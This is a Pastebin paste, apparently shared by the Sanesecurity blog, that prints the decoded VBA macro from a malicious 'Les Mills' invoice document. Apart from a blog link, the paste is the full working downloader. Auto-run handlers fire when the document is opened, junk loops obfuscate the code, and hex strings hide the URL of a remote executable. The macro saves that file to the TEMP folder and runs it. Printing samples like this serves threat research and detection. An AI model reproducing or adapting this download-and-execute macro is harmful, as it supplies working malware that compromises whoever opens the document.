Advertisement
Sanesecurity

Les Mills goods/services invoice macro decoded

Jan 14th, 2015
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.66 KB | None | 0 0
  1. Sanesecurity Blog:
  2.  
  3. http://sanesecurity.blogspot.co.uk/
  4.  
  5. Decoded:
  6.  
  7. Attribute VB_Name = "ThisDocument"
  8. Attribute VB_Base = "1Normal.ThisDocument"
  9. Attribute VB_GlobalNameSpace = False
  10. Attribute VB_Creatable = False
  11. Attribute VB_PredeclaredId = True
  12. Attribute VB_Exposed = True
  13. Attribute VB_TemplateDerived = True
  14. Attribute VB_Customizable = True
  15. #If VBA7 Then
  16. Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  17. "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  18. ByVal szURL As String, _
  19. ByVal szFileName As String, _
  20. ByVal dwReserved As Long, _
  21. ByVal lpfnCB As LongPtr) As LongPtr
  22. #Else
  23. Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  24. "URLDownloadToFileA" (ByVal pCaller As Long, _
  25. ByVal szURL As String, _
  26. ByVal szFileName As String, _
  27. ByVal dwReserved As Long, _
  28. ByVal lpfnCB As Long) As Long
  29. #End If
  30.  
  31.  
  32. Sub uiwefds()
  33. Dim gGpRktBl As Integer
  34. For gGpRktBl = 0 To 8
  35. Dim zpKNMuMT As Integer
  36. For zpKNMuMT = 0 To 3
  37. Dim hIQYfdFo As Integer
  38. For hIQYfdFo = 0 To 5
  39. DoEvents
  40. Next hIQYfdFo
  41. DoEvents
  42. Next zpKNMuMT
  43. Dim lpFmypAl As Integer
  44. For lpFmypAl = 0 To 6
  45. DoEvents
  46. Next lpFmypAl
  47. DoEvents
  48. Next gGpRktBl
  49. Dim ySWFSeYG As Integer
  50. For ySWFSeYG = 0 To 3
  51. Dim AlvUcBFT As Integer
  52. For AlvUcBFT = 0 To 7
  53. DoEvents
  54. Next AlvUcBFT
  55. DoEvents
  56. Next ySWFSeYG
  57. Dim knlyQpre As Integer
  58. For knlyQpre = 0 To 8
  59. DoEvents
  60. Next knlyQpre
  61. UGivgHgfdg
  62. End Sub
  63. Sub AutoOpen()
  64. Dim nwxTaHRl As Integer
  65. For nwxTaHRl = 0 To 7
  66. Dim obzdPVAf As Integer
  67. For obzdPVAf = 0 To 9
  68. Dim OmMNRXJG As Integer
  69. For OmMNRXJG = 0 To 3
  70. DoEvents
  71. Next OmMNRXJG
  72. DoEvents
  73. Next obzdPVAf
  74. Dim suTigmIA As Integer
  75. For suTigmIA = 0 To 1
  76. DoEvents
  77. Next suTigmIA
  78. DoEvents
  79. Next nwxTaHRl
  80. Dim BYXQBoHQ As Integer
  81. For BYXQBoHQ = 0 To 8
  82. Dim JbCFvDaj As Integer
  83. For JbCFvDaj = 0 To 6
  84. DoEvents
  85. Next JbCFvDaj
  86. DoEvents
  87. Next BYXQBoHQ
  88. Dim lsIXosKe As Integer
  89. For lsIXosKe = 0 To 2
  90. DoEvents
  91. Next lsIXosKe
  92. uiwefds
  93. End Sub
  94. Sub Workbook_Open()
  95. Dim bAXYAJVG As Integer
  96. For bAXYAJVG = 0 To 3
  97. Dim nlEiEQgN As Integer
  98. For nlEiEQgN = 0 To 7
  99. Dim XBdRXQab As Integer
  100. For XBdRXQab = 0 To 1
  101. DoEvents
  102. Next XBdRXQab
  103. DoEvents
  104. Next nlEiEQgN
  105. Dim qhFwevwb As Integer
  106. For qhFwevwb = 0 To 4
  107. DoEvents
  108. Next qhFwevwb
  109. DoEvents
  110. Next bAXYAJVG
  111. Dim jncTKWEc As Integer
  112. For jncTKWEc = 0 To 5
  113. Dim DMpODKMf As Integer
  114. For DMpODKMf = 0 To 9
  115. DoEvents
  116. Next DMpODKMf
  117. DoEvents
  118. Next jncTKWEc
  119. Dim hQvArfbL As Integer
  120. For hQvArfbL = 0 To 5
  121. DoEvents
  122. Next hQvArfbL
  123. uiwefds
  124. End Sub
  125. Sub UGivgHgfdg()
  126. Dim vYxYaLlq As Integer
  127. For vYxYaLlq = 0 To 6
  128. Dim EzeitYyD As Integer
  129. For EzeitYyD = 0 To 4
  130. Dim AlYXkoUH As Integer
  131. For AlYXkoUH = 0 To 1
  132. DoEvents
  133. Next AlYXkoUH
  134. DoEvents
  135. Next EzeitYyD
  136. Dim eoXFIRdw As Integer
  137. For eoXFIRdw = 0 To 6
  138. DoEvents
  139. Next eoXFIRdw
  140. DoEvents
  141. Next vYxYaLlq
  142. Dim yFFhGtVb As Integer
  143. For yFFhGtVb = 0 To 9
  144. Dim JnXGRXWl As Integer
  145. For JnXGRXWl = 0 To 6
  146. DoEvents
  147. Next JnXGRXWl
  148. DoEvents
  149. Next yFFhGtVb
  150. Dim tXzjjYef As Integer
  151. For tXzjjYef = 0 To 9
  152. DoEvents
  153. Next tXzjjYef
  154. hJBJ = HexToString("6874")
  155. JNlkdfg = HexToString("74703A2F2F")
  156. ihjkB = HexToString("6F6B7572696D6F6E6F2E696E612D6B612E636F6D2F6A732F62696E2E657865")
  157. fdgdfg = hJBJ + JNlkdfg + ihjkB
  158. Dim lqLKIVNx As Integer
  159. For lqLKIVNx = 0 To 2
  160. Dim eiaklfFu As Integer
  161. For eiaklfFu = 0 To 5
  162. Dim dauCSTca As Integer
  163. For dauCSTca = 0 To 7
  164. DoEvents
  165. Next dauCSTca
  166. DoEvents
  167. Next eiaklfFu
  168. Dim nxdvbgYM As Integer
  169. For nxdvbgYM = 0 To 9
  170. DoEvents
  171. Next nxdvbgYM
  172. DoEvents
  173. Next lqLKIVNx
  174. Dim TMSvrSYK As Integer
  175. For TMSvrSYK = 0 To 1
  176. Dim gFdbwYgL As Integer
  177. For gFdbwYgL = 0 To 5
  178. DoEvents
  179. Next gFdbwYgL
  180. DoEvents
  181. Next TMSvrSYK
  182. Dim gFpQRRBa As Integer
  183. For gFpQRRBa = 0 To 5
  184. DoEvents
  185. Next gFpQRRBa
  186. ferf34fe = Environ(HexToString("54454D50")) & HexToString("5C64736572727474667364662E657865")
  187. Dim gFjrheUI As Integer
  188. For gFjrheUI = 0 To 5
  189. Dim hOULTBjw As Integer
  190. For hOULTBjw = 0 To 8
  191. Dim Minwcedp As Integer
  192. For Minwcedp = 0 To 7
  193. DoEvents
  194. Next Minwcedp
  195. DoEvents
  196. Next hOULTBjw
  197. Dim moBRdIni As Integer
  198. For moBRdIni = 0 To 2
  199. DoEvents
  200. Next moBRdIni
  201. DoEvents
  202. Next gFjrheUI
  203. Dim RaoPSQQx As Integer
  204. For RaoPSQQx = 0 To 4
  205. Dim YFqOUvzZ As Integer
  206. For YFqOUvzZ = 0 To 2
  207. DoEvents
  208. Next YFqOUvzZ
  209. DoEvents
  210. Next RaoPSQQx
  211. Dim llBTdQhB As Integer
  212. For llBTdQhB = 0 To 9
  213. DoEvents
  214. Next llBTdQhB
  215. wqewr = URLDownloadToFile(0&, fdgdfg, ferf34fe, 0&, 0&)
  216. Dim jkdfdklf
  217. Dim EzonLPSw As Integer
  218. For EzonLPSw = 0 To 1
  219. Dim LdtexvzQ As Integer
  220. For LdtexvzQ = 0 To 7
  221. Dim lHhPUkHp As Integer
  222. For lHhPUkHp = 0 To 2
  223. DoEvents
  224. Next lHhPUkHp
  225. DoEvents
  226. Next LdtexvzQ
  227. Dim RwRELqYw As Integer
  228. For RwRELqYw = 0 To 4
  229. DoEvents
  230. Next RwRELqYw
  231. DoEvents
  232. Next EzonLPSw
  233. Dim iRUMEqxS As Integer
  234. For iRUMEqxS = 0 To 9
  235. Dim aHhQAKGU As Integer
  236. For aHhQAKGU = 0 To 8
  237. DoEvents
  238. Next aHhQAKGU
  239. DoEvents
  240. Next iRUMEqxS
  241. Dim DwrYurer As Integer
  242. For DwrYurer = 0 To 3
  243. DoEvents
  244. Next DwrYurer
  245. jkdfdklf = Shell(ferf34fe, 1)
  246.  
  247. End Sub
  248.  
  249.  
  250. Public Function HexToString(ByVal hextext As String) As String
  251. Dim gVidOqxP As Integer
  252. For gVidOqxP = 0 To 1
  253. Dim QkaDCilb As Integer
  254. For QkaDCilb = 0 To 3
  255. Dim OTGPqBNg As Integer
  256. For OTGPqBNg = 0 To 8
  257. DoEvents
  258. Next OTGPqBNg
  259. DoEvents
  260. Next QkaDCilb
  261. Dim ZllwFttU As Integer
  262. For ZllwFttU = 0 To 7
  263. DoEvents
  264. Next ZllwFttU
  265. DoEvents
  266. Next gVidOqxP
  267. Dim RtRcnfvK As Integer
  268. For RtRcnfvK = 0 To 4
  269. Dim bINWqiCp As Integer
  270. For bINWqiCp = 0 To 7
  271. DoEvents
  272. Next bINWqiCp
  273. DoEvents
  274. Next RtRcnfvK
  275. Dim yXJRTRHC As Integer
  276. For yXJRTRHC = 0 To 6
  277. DoEvents
  278. Next yXJRTRHC
  279.  
  280. For y = 1 To Len(hextext)
  281. Dim lnqaAuoM As Integer
  282. For lnqaAuoM = 0 To 2
  283. Dim AmqCCjjm As Integer
  284. For AmqCCjjm = 0 To 4
  285. Dim NYQzWOES As Integer
  286. For NYQzWOES = 0 To 2
  287. DoEvents
  288. Next NYQzWOES
  289. DoEvents
  290. Next AmqCCjjm
  291. Dim YMASgyxn As Integer
  292. For YMASgyxn = 0 To 8
  293. DoEvents
  294. Next YMASgyxn
  295. DoEvents
  296. Next lnqaAuoM
  297. Dim OEVBtoLb As Integer
  298. For OEVBtoLb = 0 To 5
  299. Dim WqaGRHAO As Integer
  300. For WqaGRHAO = 0 To 1
  301. DoEvents
  302. Next WqaGRHAO
  303. DoEvents
  304. Next OEVBtoLb
  305. Dim AvKbBdwx As Integer
  306. For AvKbBdwx = 0 To 7
  307. DoEvents
  308. Next AvKbBdwx
  309. num = Mid(hextext, y, 2)
  310. Dim jPknciYa As Integer
  311. For jPknciYa = 0 To 5
  312. Dim qmsWyPmv As Integer
  313. For qmsWyPmv = 0 To 6
  314. Dim ftZPcZgm As Integer
  315. For ftZPcZgm = 0 To 1
  316. DoEvents
  317. Next ftZPcZgm
  318. DoEvents
  319. Next qmsWyPmv
  320. Dim pbHIjRpI As Integer
  321. For pbHIjRpI = 0 To 7
  322. DoEvents
  323. Next pbHIjRpI
  324. DoEvents
  325. Next jPknciYa
  326. Dim LljZwaJN As Integer
  327. For LljZwaJN = 0 To 3
  328. Dim DuMjRrVO As Integer
  329. For DuMjRrVO = 0 To 6
  330. DoEvents
  331. Next DuMjRrVO
  332. DoEvents
  333. Next LljZwaJN
  334. Dim WqeUyBDM As Integer
  335. For WqeUyBDM = 0 To 7
  336. DoEvents
  337. Next WqeUyBDM
  338. Value = Value & Chr(CDbl("&h" & num))
  339. Dim sfFStdfd As Integer
  340. For sfFStdfd = 0 To 1
  341. Dim cJfSSvoM As Integer
  342. For cJfSSvoM = 0 To 1
  343. Dim oUyvDSAh As Integer
  344. For oUyvDSAh = 0 To 6
  345. DoEvents
  346. Next oUyvDSAh
  347. DoEvents
  348. Next cJfSSvoM
  349. Dim hHKnWRrm As Integer
  350. For hHKnWRrm = 0 To 7
  351. DoEvents
  352. Next hHKnWRrm
  353. DoEvents
  354. Next sfFStdfd
  355. Dim kTKxjRfd As Integer
  356. For kTKxjRfd = 0 To 2
  357. Dim ORMmfhxQ As Integer
  358. For ORMmfhxQ = 0 To 8
  359. DoEvents
  360. Next ORMmfhxQ
  361. DoEvents
  362. Next kTKxjRfd
  363. Dim HDYxwiBG As Integer
  364. For HDYxwiBG = 0 To 1
  365. DoEvents
  366. Next HDYxwiBG
  367. y = y + 1
  368. Next y
  369.  
  370. Dim fNVNMpvZ As Integer
  371. For fNVNMpvZ = 0 To 7
  372. Dim esZUGMus As Integer
  373. For esZUGMus = 0 To 3
  374. Dim EgPicvGe As Integer
  375. For EgPicvGe = 0 To 4
  376. DoEvents
  377. Next EgPicvGe
  378. DoEvents
  379. Next esZUGMus
  380. Dim doqtuJbQ As Integer
  381. For doqtuJbQ = 0 To 1
  382. DoEvents
  383. Next doqtuJbQ
  384. DoEvents
  385. Next fNVNMpvZ
  386. Dim OECzGgGL As Integer
  387. For OECzGgGL = 0 To 2
  388. Dim TzHPynYW As Integer
  389. For TzHPynYW = 0 To 2
  390. DoEvents
  391. Next TzHPynYW
  392. DoEvents
  393. Next OECzGgGL
  394. Dim hMwkDaKX As Integer
  395. For hMwkDaKX = 0 To 8
  396. DoEvents
  397. Next hMwkDaKX
  398. HexToString = Value
  399. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement